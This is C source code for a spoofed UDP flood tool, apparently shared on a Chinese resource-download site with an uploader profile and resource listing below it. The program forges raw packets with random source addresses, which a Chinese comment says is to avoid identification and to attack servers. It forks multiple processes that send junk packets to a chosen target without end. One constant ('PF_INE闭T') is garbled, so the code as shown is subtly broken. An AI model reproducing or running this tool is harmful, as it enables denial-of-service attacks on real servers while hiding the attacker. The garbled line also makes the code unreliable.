#include <time.h>
#include <stdio.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <string.h>
#define PACKAGESIZE 1024
int stringtoint(char* str) //该方法将传入的字符串转成int型数据
{
int res = 0;
int i=0;
while(i<strlen(str))
{
res=res*10+(str[i]-'0');
++i;
}
return res;
}
void send_udp(int sockfd,struct sockaddr_in* addr,int localport,int destport)
{
char buffer[PACKAGESIZE];
struct iphdr* ip=(struct iphdr*)buffer; //ip报头
struct udphdr* udp=(struct udphdr*)(buffer+sizeof(struct iphdr)); //udp报头
bzero(buffer,PACKAGESIZE);
//填写IP报头
ip->ihl=5; //数据包协议头长度
ip->version=4; //版本号
ip->tos=16; //服务类型
ip->tot_len=PACKAGESIZE; //ip数据包总长度
ip->id=0; //标识字段
ip->ttl=64; //生存是间
ip->protocol=17; //协议字段
ip->daddr=addr->sin_addr.s_addr; //目标地址
//填写UDP报头
udp->source=htons(localport); //源端口
udp->dest=htons(destport); //目标端口
udp->len=sizeof(struct udphdr); //udp数据包长度
ip->saddr=random(); /*随机填写IP数据包的源地址,避免对方识别,可用 作服务器攻击*/
int i=sizeof(struct iphdr)+sizeof(struct udphdr);
for(;i<PACKAGESIZE;i++) //随机填写数据包剩余字段
{
buffer[i]=(char)rand()%58+65;
}
while(1) //不断的发送数据包,每秒发送一次
{
if((sendto(sockfd,buffer,ip->tot_len,0,(struct sockaddr*)addr,sizeof(*addr)))<0)
{
printf("sendto error\n");
}
printf("onetime\n");
sleep(1);
}
}
int main(int argc, char** argv) {
int sockfd;
pid_t pid;
struct sockaddr_in addr;
int on=1;
if(argc!=5)
{
printf("argc!=5\n");
exit(1);
}
int localport,destport,threadnum,count;
localport=stringtoint(argv[2]);
printf("localport:%d\n",localport);
destport=stringtoint(argv[3]);
printf("destport:%d\n",destport);
threadnum=stringtoint(argv[4]);
printf("threadnum:%d\n",threadnum);
count=0;
bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(destport);
inet_aton(argv[1],&addr.sin_addr);
sockfd=socket(PF_INE闭T,SOCK_RAW,IPPROTO_UDP); //建立原始套接字
if(sockfd<0)
{
printf("Socket Error\n");
exit(1);
}
setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));/*设置套接口为 自己填写IP数据包*/
while(count<threadnum) //建立相应数量的线程以达到要求的发送数据包速度
{
if((pid=fork())==0)
{
send_udp(sockfd,&addr,localport,destport);
exit(0);
}
printf("success:%d\n",count);
++count;
}
printf("happy end!\n");
return (EXIT_SUCCESS);
}
nanshengsushe8
- 粉丝: 10
- 资源: 1
最新资源
- 使用群晖NAS搭建虚拟机
- 基于minifly的学习源码-本人耗时五年完善的稳定源码移植于minifly上,不带操作系统,直接操作寄存器,代码简洁明了,算法基于数学公式,便于学习数学知识
- 基于motorcad设计的外转子发电机,磁钢采用FB6B铁氧体 ,不等匝绕组,输出功率2.3KW 定子外径156 3200RPM,18极27槽永磁同步发电机(PMSG)设计案例.
- 电力电子、电机驱动、数字滤波器matlab simulink仿真模型实现及相关算法的C代码实现 配置C2000 DSP ADC DAC PWM定时器 中断等模块,提供simulink与DSP的联合仿
- 视觉系统程序,新能源电池检测 1、支持4个相机 2、实现Profinet网卡通信 3、实现日志功能 4、实现图像存储功能 5、实现电芯有无判断、电芯和端板涂胶检测
- 基于51单片机的电子时钟设计
- 西门子smart200与汇川变频器 Modbus RTU控制程序 步科触摸屏程序 振捣控制系统 汇川变频器手册
- C#上位机与西门子plc通信,实现伺服控制与数字量控制 提供C#源代码,plc测试程序
- 45.<资源>番茄钟3.0 无代码 C#例子 WPF例子
- stm32f103的Bootloader IAP串口升级stm32f103的Bootloader IAP串口升级st m32固件的学习资料,成熟产品方案已经用在批量产品上,资料包括上位机(电脑端)运行
- 基于Spark的电商用户行为分析系统-源码+课设论文(本科期末课程设计).zip
- Qt C++pdf阅读器源码 上下翻页 精美工具栏 支持ofd格式 1. 仿WPS界面 2. 预览PDF文件 3. 支持PDF预览放大,缩小 4. 支持目录预览查看 5. 支持目录点击跳转页查
- RDM(radis桌面工具)
- 西门子s7 200smart与3台台达VFD-M变频器通讯目标:用触摸屏和西门子smart 控制3台台达变频器通讯 器件:西门子s7 200 smart PLC,3台台达VFD-M变频器,昆仑通态触摸
- 基于51单片机的电子密码锁设计
- Qt5工业上位机源码 工业电子称 无线扫码器 串口的使用 Qt5.14可运行 Qt5工业上位机应用! 一套完整工程! 工业电子称使用, 无线扫码枪的使用, 串口的使用 使用Qt5.14 用QtCrea
资源上传下载、课程学习等过程中有任何疑问或建议,欢迎提出宝贵意见哦~我们会及时处理!
点击此处反馈
- 1
- 2
- 3
前往页